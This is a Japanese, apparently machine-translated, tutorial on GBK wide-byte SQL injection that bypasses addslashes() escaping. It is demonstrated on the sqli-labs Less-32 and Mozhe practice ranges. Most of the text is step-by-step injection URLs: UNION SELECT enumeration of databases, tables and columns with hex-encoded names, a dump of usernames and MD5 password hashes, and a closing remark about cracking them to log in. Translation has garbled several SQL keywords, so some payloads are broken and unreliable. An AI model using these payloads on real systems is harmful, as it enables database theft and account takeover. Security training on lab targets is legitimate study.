1.機能
追加スラッシュ() 関数:
指定された定義済み文字の前にバックスラッシュを追加します。これらの定義済み文字は、
一重引用符 (')、二重引用符 (")、バックスラッシュ (/)、NUL (ヌル文字)
機能は、これらの文字の機能を去勢することであり、単一引用符などの前に\バックスラッシュを置きます'
addslashes() 関数でフィルタリングした後、\ ' になります。エンティティに変換された文字には機能がありません。
ユーザー名 ' 1' ' の書き込みまたはクエリを実行すると、データベースは単一引用符'を終了記号として認識し、それを閉じるには単一引用符を入力する必要があります。 ' 1' 'を照会する方法
' 1\' 'と入力すると、\ は ' 終了機能を失い、データは ' 1' 'を認識します
2.GBKBエンコーディング
' の前に %df を入力することでバイパスできます
元々 ?id=1' と入力すると自動的に ?id=1\' にエスケープされますが、\ 内のエンコーディングは %5c です
その前に %df を入力すると、%df5c になり、%df5c は文字に解析されます。
では、%df と %5c はどこから来たのでしょうか?
%df は手動で入力したものです
%5c は、addslashes() 関数を使用して、' 記号の前に \ を自動的に追加します。この \ は %5c です。
次に %df と %5c を組み合わせると、GBKB エンコーディング方式に準拠します。
%df の 5 番目と c 番目は漢字を形成するだけです。
このように、彼は'シングル クォーテーションを コメント アウトしたこの\の機能を失います。
もともと、この \ は、シングル クォーテーションの機能をコメント アウトするためのものでした。
たとえば、もともとは「で遊ぶ」を見つけたかったのですが、遊んでいるうちに「シングル クォーテーション」の機能を失ってしまいました。
しかし今では、彼のシングル クォーテーションの前に手動で %df を追加します。addslashes() 関数が 代わりに、%df の再生に %5c かかりました
それから、一緒に遊ぶには %df%5c 、自分で遊ぶには一重引用符になります。これにより、フィルタが正常にバイパスされます
3. ワイドバイトバイパス
ワイド バイト バイパスの前提条件:
相手側のエンコード方式もGBKエンコードであることが必須で、リクエスト送信時にクライアントもGBKエンコードを使用していることを記載
4. 事例紹介
(1) sqli-labs-master/Less-32
1.閉鎖モードを決定し、射出ポイントがあるかどうかを決定します
?id=1%df' かつ 1=2 --+
?id=1%df') および 1=2 --+
?id=1%df" および 1=2 --+?id=1%df") および 1=2 --+
?id=1%df' および 1=2 に対してテスト済み --+ ページは、注入ポイントがあることを確認するためにエラーを報告します
すべての閉じたシンボルをテストしても、ページはまだエコーしません
%df を使用して閉鎖をテストする
URL: ?id=1%df'
ページエラー
1 行目の ''1�\'' LIMIT 0,1'
'1�\'' LIMIT 0,1
単一引用符で閉じる方法を決定する
url: ?id=1%df' --+
--+ を使用して、次のコードをコメントアウトします
ページエコーは正常です
URL ?id=1%df' および 1=1--+
and 1=1 を使用して、ページ エコーを正常にテストします。
url:?id=1%df' かつ 1=2 --+
and 1=2 を使用してページをテストし、エラーを報告して注入ポイントがあることを確認します
2. フィールド数を決定する
?id=1%df' 3 順 --+
url:?id=1%df' 4 順 --+
4 番目のフィールドがテストされると、ページはエラーを報告します。
url: ?id=1%df' 3 順 --+
3 番目のフィールドをテストすると、ページ エコーは正常です。
3. エコー ビットを決定する
?id=1%df' 組合選択 1,2,3 --+
ページにエコーされたフィールドが
2.3
4. データベース名を取得する
?id=-1%df' ユニオン選択 1,(データベース()),3--+
データベース名がSecuriryであることを確認してください
5.データテーブル名を取得する
?id=-1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
メール、リファラー、uagent、ユーザー
6. フィールド (列) を取得する
?id=-1%df' union select 1,2,(table_schema=database() および table_name=0x7573657273 の information_Schema.columns から group_concat(column_name) を選択)--+
注: 0x は 16 進数を表します。通常のテストでは table_name='users' と記述するためです。
しかし、addslashes() は、ここで入力した '' という 2 つの単一引用符もフィルター処理するため、テーブル名を 16 進数形式に変換し、先頭に 0x の固定の書き込み方法を追加する必要があります。
0x: 16 進数を表す
7573657273: ユーザーを表します
ID
ユーザー名
パスワード
分野
HEX から文字への 16 進数から文字への 16 進数 gb2312 gbk utf8 漢字の内部コード変換 - X オンライン ツール
7.ライブラリをドラッグ
?id=-1%df' union select 1,2,(select group_concat(username, 0x7e ,password) from security.users)--+
0x: 16 進数を表す
7e:~号
ここの 0x7e は、主にスプライスしたシンボルです。
(2)モジェ射撃場(ワイドバイト投入)
1. 閉鎖方法の決定と注入箇所の有無の判断
?id=1%df' かつ 1=2 --+
url:?id=1%df' かつ 1=1 --+
ページは正常にエコーされます
?id=1%df' および 1=2--+
ページエラー
注射があることを確認してください
2. フィールド数を決定する
?id=1%df' 5 順 --+
url:?id=1%df' 5 順 --+
ページは正常にエコーされます
url:?id=1%df' 6 順 --+
ページエラー
合計 5 つのフィールドを決定する
3. エコー ビットを決定する
?id=-1%df' 組合選択 1,2,3,4,5 --+
エコー フィールドが 3、5 であることを確認します
4. データベース名を取得する
?id=-1%df' ユニオン セレクト 1,2,3,4,(データベース())--+
url:?id=-1%df' ユニオン セレクト 1,2,3,4,(データベース()) --+
現在のデータベースが
mozhe_discuss_stormgroup
5. データ テーブルを取得する
?id=-1%df' union select 1,2,3,4,(select group_concat(table_name) from information_schema.tables where table_Schema=database())--+
現在のデータテーブルは
お知らせ,stormgroup_member
6. フィールド (列) 情報を取得する
id=-1%df' union select 1,2,3,4,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7374
6F726D67726F75705F6D656D626572 )--+0x: 16 進固定の書き込み方法を表す
73746F726D67726F75705F6D656D626572:stormgroup_member
なお、上記のsqlibasのテストでも、こちらのテストでも、テーブル名を16進数に変換する際、ダブルクォートやシングルクォートなしでテーブル名を直接変換できます。
名前、パスワード、ステータス
7.ライブラリをドラッグ
?id=-1%df' union select 1,2,3,4,(mozhe_discuz_stormgroup .stormgroup_member から group_concat(name,0x7e,password) を選択
)--+0x: 16 進固定書き込み方式
7e:~
mozhe~3114b433dece9180717f2b7de56b28a3、
mozhe~aec5684b03c7c59a55bf958c2f3320e7
ここには、md5 暗号化方式を使用する 2 つのアカウントがあります。それを解読してログインします。